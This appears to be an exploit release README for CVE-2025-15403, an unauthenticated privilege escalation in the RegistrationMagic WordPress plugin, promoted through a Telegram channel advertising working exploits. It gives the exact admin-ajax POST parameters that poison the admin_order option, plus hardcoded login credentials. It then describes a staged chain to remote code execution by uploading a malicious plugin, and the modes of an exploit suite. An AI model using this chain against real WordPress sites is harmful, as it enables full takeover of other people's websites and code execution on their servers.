
RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order
RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
π‘ The intel drops here first. Follow @KNxploited on Telegram β precision CVE disclosures, working exploits, and deep-dive vulnerability research. The channel for those who don't wait for the news β they make it.
CVE-2025-15403 is a CVSS 9.8 Critical Privilege Escalation vulnerability in the RegistrationMagic plugin for WordPress.
The flaw exists in the plugin's add_menu function, exposed unauthenticated via the rm_user_exists AJAX action. By injecting an empty slug into the order parameter alongside the enable_admin_order=yes flag, an attacker manipulates the plugin's internal menu generation logic. When the admin menu is subsequently built, the plugin silently calls add_cap('manage_options') on the target role β elevating any subscriber-tier account to full administrative capability.
| Field | Details |
|---|---|
| CVE ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Affected Versions | All versions up to and including 6.0.7.1 |
| Vulnerability Type | Unauthenticated Privilege Escalation |
| Attack Requirement | AJAX stage: None. Exploitation: Subscriber account |
| Attack Vector | Network |
| CVSS 3.1 Score | 9.8 CRITICAL |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Full WordPress Administrator Takeover |
| Researcher | Nxploited |
The root cause is the add_menu function being reachable without authentication through rm_user_exists, combined with zero validation of the admin_order slug:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // β User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" β empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // β Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // β FULL ADMIN CAPABILITY ADDED
}
}
}
Why this is critical:
wp_ajax_nopriv_* = zero authentication needed to poison the optionorder=,menu1 passes empty() check, triggering add_cap('manage_options')manage_options is the highest WordPress capability β equivalent to Administratorββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STAGE 1 β Unauthenticated Option Poisoning β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 β empty first element = empty slug
_Subscriber = 1 β target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
β Plugin stores order=",menu1" into wp_options
β Next admin menu build triggers add_cap('manage_options') on Subscriber role
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STAGE 2 β Account Acquisition (Subscriber) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Option A β Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register β smart form detection
POST β create subscriber account
Credentials: NXploited / xplpass123
Option B β Use an existing subscriber account.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STAGE 3 β Login + Capability Harvest β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
POST /wp-login.php
log = NXploited
pwd = xplpass123
β
Subscriber account now carries manage_options β full admin panel accessible
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STAGE 4 β Deep Verification & RCE via Plugin Upload β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
GET /wp-admin/ β Admin dashboard accessible βοΈ
GET /wp-admin/plugin-install.php β Plugin install page accessible βοΈ
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip β Plugin uploaded & executed βοΈ
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" β CONFIRMED RCE βοΈ
This exploit suite provides three distinct modes to cover the full attack lifecycle:
| Mode | Name | Description |
|---|---|---|
0 | Register Only | Smart WordPress form detection + subscriber account registration |
1 | Exploit Only | Fires the unauthenticated AJAX primitive to poison admin_order |
2 | Exploit + Login + Verify | Full chain: primitive β login β admin dashboard β plugin install β RCE |
pip install requests colorama urllib3